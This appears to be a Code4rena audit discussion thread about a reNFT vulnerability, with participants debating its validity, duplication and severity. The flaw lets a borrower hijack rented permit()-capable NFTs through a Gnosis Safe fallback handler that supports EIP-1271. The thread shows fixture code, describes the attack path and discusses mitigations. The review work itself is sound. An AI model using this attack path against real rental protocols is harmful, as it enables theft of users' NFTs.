I'm well aware of this.

However, the code isn't copied 1:1 as you claim.

Original External_Safe fixture:

// Deploys all Gnosis Safe protocol contracts
contract External_Safe is Test {
    SafeL2 public safeSingleton;
    SafeProxyFactory public safeProxyFactory;

    TokenCallbackHandler public tokenCallbackHandler;

    function setUp() public virtual {
        // Deploy safe singleton contract
        safeSingleton = new SafeL2();

        // Deploy safe proxy factory
        safeProxyFactory = new SafeProxyFactory();

        // Deploy token callback handler to allow this safe to receive ERC721 and ERC1155 tokens
        tokenCallbackHandler = new TokenCallbackHandler();

        // Label the contracts
        vm.label(address(safeSingleton), "SafeSingleton");
        vm.label(address(safeProxyFactory), "SafeProxyFactory");
        vm.label(address(tokenCallbackHandler), "TokenCallbackHandler");
    }
}

yours from SetupExploit.sol:

// Deploys all Gnosis Safe protocol contracts
contract External_Safe is Test {
    SafeL2 public safeSingleton;
    SafeProxyFactory public safeProxyFactory;

    CompatibilityFallbackHandler public fallbackHandler;

    function setUp() public virtual {
        // Deploy safe singleton contract
        safeSingleton = new SafeL2();

        // Deploy safe proxy factory
        safeProxyFactory = new SafeProxyFactory();

        // Deploy the compatibility token handler
        fallbackHandler = new CompatibilityFallbackHandler();

        // Label the contracts
        vm.label(address(safeSingleton), "SafeSingleton");
        vm.label(address(safeProxyFactory), "SafeProxyFactory");
        vm.label(address(fallbackHandler), "TokenCallbackHandler");
    }
}

This is then used to initialize the Factory:

function _deployFactoryPolicy() internal {
    // abi encode the factory policy bytecode and constructor arguments
    bytes memory factoryInitCode = abi.encodePacked(
        type(Factory).creationCode,
        abi.encode(
            address(kernel),
            address(stop),
            address(guard),
            address(fallbackHandler),
            address(safeProxyFactory),
            address(safeSingleton)
        )
    );

    // Deploy factory policy contract
    vm.prank(deployer.addr);
    factory = Factory(create2Deployer.deploy(salt, factoryInitCode));

    // label the contract
    vm.label(address(factory), "FactoryPolicy");
}

The difference here is the original one uses TokenCallbackHandler and yours used CompatibilityFallbackHandler. These are different imports in both files:

import {TokenCallbackHandler} from "@safe-contracts/handler/TokenCallbackHandler.sol";

import {CompatibilityFallbackHandler} from "@safe-contracts/handler/CompatibilityFallbackHandler.sol";

If we check Factory.sol, which is the contract that will deploy the rental safes, we will also see that the TokenCallbackHandler interface is used, not the other:

    // External contracts.
    TokenCallbackHandler public immutable fallbackHandler;
    SafeProxyFactory public immutable safeProxyFactory;
    SafeL2 public immutable safeSingleton;

    /**
     * @dev Instantiate this contract as a policy.
     *
     * @param kernel_           Address of the kernel contract.
     * @param stopPolicy_       Address of the stop policy.
     * @param guardPolicy_      Address of the guard policy.
     * @param fallbackHandler_  Gnosis safe fallback handler address.
     * @param safeProxyFactory_ Gnosis safe proxy factory address.
     * @param safeSingleton_    Gnosis safe logic contract address.
     */
    constructor(
        Kernel kernel_,
        Stop stopPolicy_,
        Guard guardPolicy_,
        TokenCallbackHandler fallbackHandler_,
        SafeProxyFactory safeProxyFactory_,
        SafeL2 safeSingleton_
    ) Policy(kernel_) {
        stopPolicy = stopPolicy_;
        guardPolicy = guardPolicy_;
        fallbackHandler = fallbackHandler_;
        safeProxyFactory = safeProxyFactory_;
        safeSingleton = safeSingleton_;
    }

Now, back to the POC, this is where it gets affected by the change:

 // Get the message hash for the digest.
 bytes32 msgHash = fallbackHandler.getMessageHashForSafe(attacker.safe, digest);

The getMessageHashForSafe() function is only available on the CompatibilityFallbackHandler but not the other. I tried changing your setup to use the TokenCallbackHandler one and it reverted because it's unable to locate the function:

They've stated publicly that they're using Safe 1.3. What's the explanation for this change?

0xEVom commented 7 months ago

Sorry for meddling, but I though this was a really interesting finding and got curious.

The problem is not the getMessageHashForSafe() function which is a view function and just computes a hash, but the isValidSignature() function, which is required for permit() to succeed and is also only implemented in the CompatibilityFallbackHandler.

Step 4. of the POC:

The permit() function will reach out to the attacker's rental safe (since it is the owner of the token and since it's a smart contract verifying the signature (EIP-1271) ), asking it if the signature is valid

is invalid.

0xEVom commented 7 months ago

@0xean I believe this issue and #302 should be invalid, see above

0xNentoR commented 7 months ago

@0xEVom I didn't have the time to debug it any more than that, just shared my thoughts here when I saw it. Thanks for going the step further.

0xean commented 7 months ago

Agreed, the permit issues are invalid, thanks for the catch.

c4-judge commented 7 months ago

0xean marked the issue as not a duplicate

c4-judge commented 7 months ago

0xean marked the issue as unsatisfactory: Invalid

stalinMacias commented 7 months ago

@0xean @0xEVom Prior to reporting this, It is confirmed by the sponsor that this issue is valid and would be totally exploitable since they intend to use the CompatibilityFallbackHandler (the used ones in PoC) as the default fallback handler instead of the TokenTransferrer fallback handler. Using it immediately makes the issue exploitable as it provides EIP-1271 support (isValidSignature()), which is needed for this vulnerability to be exploitable.

In short, the vulnerability in question exists and is valid. This minor modification in the exploit code is done accordance with the sponsor to demonstrate it being actively exploited.

Please confirm @Alec1017.

Alec1017 commented 7 months ago

Hey everyone, i want to be clear that our rental safes will be using the CompatibilityFallbackHandler because we want support for EOA safe owners to be able to sign data on behalf of the rental safe when interacting with contracts with eip-1271 (for example, playing on-chain games that require signatures).

We also plan to support tokens that have permit() functionality.

Because of this, I believe this to be a valid issue with a valid PoC.

Additionally, this issue is not a duplicate of #302 because it offers an incorrect mitigation:

Guard doesn't block ERC721Permit's permit function

The rental safe is not the one that will be calling permit() in this case.

Please let me know if you have questions on this

c4-judge commented 7 months ago

0xean removed the grade

stalinMacias commented 7 months ago

@0xean Would like to know your thoughts regarding this qualifying as a High

From a previous comment: regarding severity, I personally think this should be a High if we consider the burnable tokens bug to be a Med. Simply because this bug allows for the hijacking of the NFT completely. That would be a higher impact than being able to make stopRent() revert while not being able to remove NFT from the safe and the attacker will get to own and use the NFT forever, unlike the burnable bug where it's gone if he burns it.

0xean commented 7 months ago

need to come back to this later on. will respond soon

0xEVom commented 7 months ago

@0xean I still think this should be invalid. The CompatibilityFallbackHandler was never in scope and the sponsor communicating to a warden privately that they intend to change their code in any way in the future shouldn't be grounds for a valid submission.

stalinMacias commented 7 months ago

Whether or not CompatibilityFallbackHandler was "in scope",

the vulnerability doesn't exist in it, the contract just provides EIP-1271 support feature.
the vulnerability itself exists and needs to be fixed. It just becomes exploitable when this contract becomes set as a fallback handler which the sponsor explicitly says will be the default so we intend to fix it.

Edit: I forgot to mention that 3. the vulnerability can be exploited without CompatibilityFallbackHandler anyways since the attacker can set the fallback handler to a contract supporting EIP1271

It's a high severity bug allowing the hijacking of NFTs. Sponsor agrees it's a vulnerability, confirms it can be exploited, they intend to fix it and asked it to be reported beforehand. I'm not sure what are you arguing about here. @0xEVom

0xEVom commented 7 months ago

I take that back given https://github.com/code-423n4/2024-01-renft-findings/issues/588#issuecomment-1917191218. If the intention is to allow the usage of the fallback handler, this is always exploitable.

stalinMacias commented 7 months ago

@0xEVom I totally forgot to mention that in my previous comment, great point. edited it. This is always exploitable even if CompatibilityFallbackHandler isn't set as the default handler, given that the rental safe owner (attacker) can set his fallback handler to a contract which supports EIP1271.

stalinMacias commented 7 months ago

a reminder for the judge to evaluate the severity of this one

This vulnerability allows the attacker to achieve the highest impact, that is: hijack the rented NFT. It's much more impactful than the burnable ERC721/1155 bug (which is judged as Med), therefore I believe this one strongly qualifies for high severity. The sponsor also agrees with the severity level as they expressed their intention regarding supporting tokens with permit().

From C4 Docs (Severity categorization)

3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).

0xNentoR commented 7 months ago

@0xean @stalinMacias

I want to share my final thoughts on this matter:

The warden silently changed the fallbackHandler from TokenCallbackHandler to CompatibilityFallbackHandler without making it clear in the description of the submission. They started talking about it after it was caught. Such a change should've been made clear as it's not minor at all. It's literally the difference between being able to exploit this or not.

The fact the sponsors have decided to change the code to use the CompatiblityFallbackHandler now should be considered out of scope. We're only concerned with the "audit" commit hash. There's not a single reference in the current code that points to CompatibilityFallbackHandler. Readers of the code who go through Factory.sol and smart-contracts/test/fixtures/external/BaseExternal.sol are left with the impression that only TokenCallbackHandler will be used.

The sponsors have failed to disclose this publicly, which gives unfair advantage to this warden.

stalinMacias commented 7 months ago

@0xNentoR

What you're saying is totally misleading and these points were already discussed in detail. Before, you were arguing that the issue and PoC are invalid, now it's valid but the warden did XYZ. But I'll repeat:

This issue can be already be exploited if the attacker sets a custom fallback handler which supports the EIP1271 feature. No need to rely on CompatibilityFallbackHandler being set by default.
The vulnerability does not exist in CompatibilityFallbackHandler. This contract just allows for the exploitation of this if it is set by default without the attacker having to set a custom fallback handler. And the sponsors clearly stated that they are going to be setting this one as the default instead of the current TokenTransferrer callback handler.
The CompatibilityFallbackHandler contract is nothing but a contract supporting EIP-1271. It was used in the exploit to demonstrate the vulnerability in accordance with the sponsor, I could also demonstrate it by setting a custom fallback handler without relying on it.
Sponsors asked this issue to be reported beforehand because they believe it needs to be fixed (they repeated this again in this discussion)

It's perfectly in-scope and it allows for the hijacking of the NFT.

0xNentoR commented 7 months ago

@stalinMacias Why are you introducing new root causes here? This is not mentioned anywhere in the submission, it's all new information as far as this submission is concerned.

And the attacker being able to set a custom fallback handler should be considered part of the scope of: #588, since it stems from the same root cause.

stalinMacias commented 7 months ago

I never introduced any new root causes. You need to differentiate between the vulnerability and it's exploitation. The permit() vulnerability exists, needs a special fix. And it can be actively exploitable in two ways. Way #1 CompatibilityFallbackHandler be set as default fallback handler, cause it provides EIP1271 support. Way #2 The attacker sets a custom fallback handler providing EIP-1271 support. This report has nothing to do with #588.

This will be my last comment. But you insist on providing proven to be false claims since the discussion on this report has started.

0xJCN commented 7 months ago

I would like to also add a detail that I have noticed.

It seems the "root cause(s)" can be argued for this report as well as issue #588 and issue #593. The warden has correctly identified different remediations for each report, but I am inclined to believe that each report still shares a similar underlying root cause: Unlike restrictions for enabling non-whitelisted modules currently set in the Guard contract, there are no such restrictions for setting a fallback handler. I believe these non-existent restrictions is an underlying root cause that links all 3 of these reports together. Note that each report can have additional bugs or causes associated with them and therefore require additional fixes. However, if restrictions were added to the guard in relation to the fallback handler (i.e. users can only set whitelisted fallback handlers) then it seems issues #588 and #593 would not be exploitable, and therefore duplicates according to C4 rules.

Addressing @0xEVom 's comment from above, if we consider the knowledge of the CompatibilityFallbackHandler to be OOS, then I believe applying the restriction detailed above would result in this issue being un-exploitable as well.

Therefore, I believe these reports may fall underneath this category from the supreme-court-decisions-fall-2023:

Verdict: Similar exploits under a single issue The findings are duplicates if they share the same root cause. More specifically, if fixing the Root Cause (in a reasonable manner) would cause the finding to no longer be exploitable, then the findings are duplicates.

stalinMacias commented 7 months ago

It seems the "root cause(s)" can be argued for this report as well as issue https://github.com/code-423n4/2024-01-renft-findings/issues/588 and issue https://github.com/code-423n4/2024-01-renft-findings/issues/593.

You are re-iterating points that were already made clear to be false, even by the sponsor himself who will deploy the fixes.

It was already made absolutely clear (with sponsor confirmation) that #588 and #593 have different root causes in the discussion made in #588, and the sponsor confirmed that because they want to allow fallback handlers to be set normally. So the sponsor will deploy different fixes for both #588, and #593 and will need to deploy a different fix for this one too.

Root cause of #588 -> Rentals are directly transferred to rental safe prior to rental registeration allowing for reentrancy Root cause of #593 -> There is no validation on the address provided to setFallbackHandler, allowing an attacker to set the address to the rented ERC721/1155 tokens to hijack this one Root cause of this one -> The protocol doesn't account for working with permit(), the only way they can fix this is by making minor modifications in the gnosis safe contract listed in the report.

The whole thing about the exploitation of this vulnerability is that gnosis needs to have EIP-1271 support. The attacker can have that by setting a fallback handler (which is a feature in and out of itself, not a bug. Sponsors confirmed they want that to be allowed). Or the default fallback handler set, to be supporting EIP-1271, which is indeed what the sponsor made clear will be the case as they intend to use CompatibilityFallbackHandler instead of the current TokenCallbackHandler.

I'd suggest reading about the difference between the existence of a vulnerability and the possibility of it being exploitable or not.

0xEVom commented 7 months ago

I agree with @0xean's original reasoning in https://github.com/code-423n4/2024-01-renft-findings/issues/587#issuecomment-1912630065. permit() is not standard ERC721 functionality and as such this issue only applies with a stated assumption. #323 as well as these also lead to loss of the rented NFT and are currently classified as medium severity.

I can see @stalinMacias' argument for these all being separate issues if the intended behavior is to allow renters to use custom fallback handlers and clearly the sponsor will derive value from each of his submissions if they want to safely implement this functionality. What @0xJCN is suggesting is a different remediation that would address all of @stalinMacias' findings, but I don't think it can be seen as the root cause.

However, I do believe that would be a better remediation as allowing arbitrary fallback handlers significantly increases complexity and leads to many more pitfalls (e.g. setApprovalForAll() would also need to be blocked at the FallbackManager level as calling it at any point on a future rental asset contract would allow the renter to later steal the rental items). @Alec1017 I wholeheartedly recommend you consider addressing this via an allowlist mechanism as @0xJCN described instead if that's an option.

stalinMacias commented 7 months ago

@0xEVom I disagree, because I believe fixing these issues one by one (what the sponsor intends to do), is much better going into the future although it requires slightly more work than going the lazy route "just disable the feature altogether". By fixing each vulnerability on it's own, you fix exploit primitives that can allow future bugs to be exploitable (as fallback handlers aren't the sole reason of why these vulnerabilities exist).

What @0xJCN is suggesting is a different remediation that would address all of @stalinMacias' findings, but I don't think it can be seen as the root cause.

It's already made clear countless times that disabling the setting of fallback handlers alone will NOT fix this issue going forward.

In regards to severity, I believe this easily counts for a high for two reasons.

True, #323 leads to loss of assets, but both the lender and attacker lose the asset as it is burned. However, this bug allows the attacker to move the asset out of the safe and keep it forever. It's a net asset loss only for the lender in this case, because attacker gets to keep it forever. So if # 323 is a med, this one is surely a high. Same logic applies for # 220 (pausable nft).
The sponsor has already made it clear that they intend supporting NFTs supporting the permit() functionality.

We also plan to support tokens that have permit() functionality.

Sponsor does not disagree with this qualifying as a High.

Judge gets the final say on severity, but I've made my arguments on why I think it's a high. Nothing left to be mentioned or discussed here imo.

0xean commented 7 months ago

@stalinMacias

I agree that the introduction of the CompatibilityFallbackHandler has to be considered out of scope based on it not being public knowledge. I also agree that its not required for this exploit to take place since a user can set a their own fall back handler. If we a agree on the second point, then I don't see how this isn't a duplicate of #593

Lets look at your proposed mitigation

In the guard, check if the TX is a call to the function setFallbackHandler(). If it is, then ensure that the address supplied to that function is not an address of an actively rented ERC721/1155 token.

This check should check if the function selector is equivalent to isValidSignature(bytes32,bytes) and the msg.sender is an address of a NFT token that is rented in the reNFT protocol.

This alone points to an identical root cause afaict.

Will welcome one last comment from @stalinMacias prior to marking it as a dupe.

stalinMacias commented 7 months ago

Hey @0xean

If we a agree on the second point, then I don't see how this isn't a duplicate of https://github.com/code-423n4/2024-01-renft-findings/issues/593

This alone points to an identical root cause afaict.

This can be a little confusing as both appear as same root causes / fixes at first sight, but there is actually a big difference between both, and two very separate fixes will need to be deployed for both issues.

So in the discussion in #588, it was made clear by the sponsor that they see both #588 and #593 as distinct issues and will fix both on each own rather than going through the route of disabling the setting of fallback handlers feature altogether. They want to continue allowing it but just make it more safe.

With this in mind, here is the difference between the fixes for both this one and #593:

For #593, there will need to be validation on what address the user is trying to set as a fallback handler. If he is trying to set the address of a rented token to be the fallback handler, revert. An additional check would be to check, when a rental is being registered, if the currently set fallback handler address is set to be an address of a token that is currently rented.
For this one, it's a different story. The whole point of making this bug exploitable is to make Gnosis safe (owner of rented NFT) have EIP-1271 support to allow for the exploitation for this bug. So the attacker will set the fallback handler to any contract that has EIP-1271 support, whether it is a custom contract of his OR a contract like CompatibilityFallbackHandler. He won't have to set the fallback handler address to be anything related to rented or to-be-rented tokens, so the fix for #593 would be totally irrelevant here.

The proposed fix is to check if the address reaching out to Gnosis rental safe is an address of a rented NFT AND the function selector is isValidSignature(), if so, revert. This will block any rented NFT with permit() from validating the signature and break the exploit.

Final note r.e severity: Since #220 was judged as med, like #323, don't you think this one qualifies as a High as it's much more impactful than both? (This one allows the rented NFT to be hijacked completely). The sponsor also stated intending to support NFTs with permit()

Much thanks!

0xean commented 7 months ago

Hmm. I don't believe the suggestion is to check the address of the fallback handler, the suggestion is to check the address calling the fallback handler to ensure its not a rented token. The address of the fallback handler isn't relevant here from my understanding.

stalinMacias commented 7 months ago

Hey @0xean

Can you clarify which suggestion of which report are you talking about?

In regards to #593, the suggestion is clearly to check if the attacker is trying to set an address of a rented token to be the fallback handler, so the sender of the TX is the attacker trying to set the fallback handler setFallbackHandler(). So In gnosis, msg.sender would be the owner of the rental safe (attacker), and the function selector of the TX is setFallbackHandler(address).

In regards to this one, the suggestion is to check if the msg.sender of the TX is a rented token and the function selector of the TX is isValidSignature(bytes32, bytes).

In #593, we want to ensure that the fallback handler isn't set to be a rented or to-be-rented token to prevent it from being hijacked

In this one, we want to ensure that we do not allow isValidSignature() to be executed on an existing fallback handler, if the msg.sender reaching out is a rented token, because that means the permit() function of a rented token is trying to reach out for signature validation to allow the attacker to hijack the token.

I'm happy to clarify any misunderstanding here.

stalinMacias commented 7 months ago

In regards to #593, we don't want the fallback handler to be set to a rented or to-be-rented token. Because if that happens, an attacker can just send a transferFrom TX to the gnosis safe. Gnosis doesn't have transferFrom implemented, so it'll call the fallback handler with the calldata the attacker supplied initially which is transferFrom().

In this case, it'd be the gnosis rental safe holding the NFT, reaching out to the NFT asking it to transferFrom to transfer the tokens from it to the attacker.

In regards to this one, we don't want ANY rented NFT to be reaching out for signature validation because that certainly means an attacker is trying to hijack it. So we want to prevent ANY rented token from calling isValidSignature() on the currently set fallback handler (which would be a contract supporting EIP-1271 for signature verification).

0xean commented 7 months ago

great, thanks for the discussion leaving them seperated and as graded. Final decision.

c4-judge commented 7 months ago

0xean marked the issue as satisfactory

c4-judge commented 7 months ago

0xean marked the issue as selected for report

code-423n4 / 2024-01-renft-findings

A malicious borrower can hijack any NFT with `permit()` function he rents. #587

Lines of code

Vulnerability details

Pre-requisite knowledge & an overview of the features in question

The Vulnerability & Exploitation Steps

Proof of concept

Impact

Remediation

Assessed type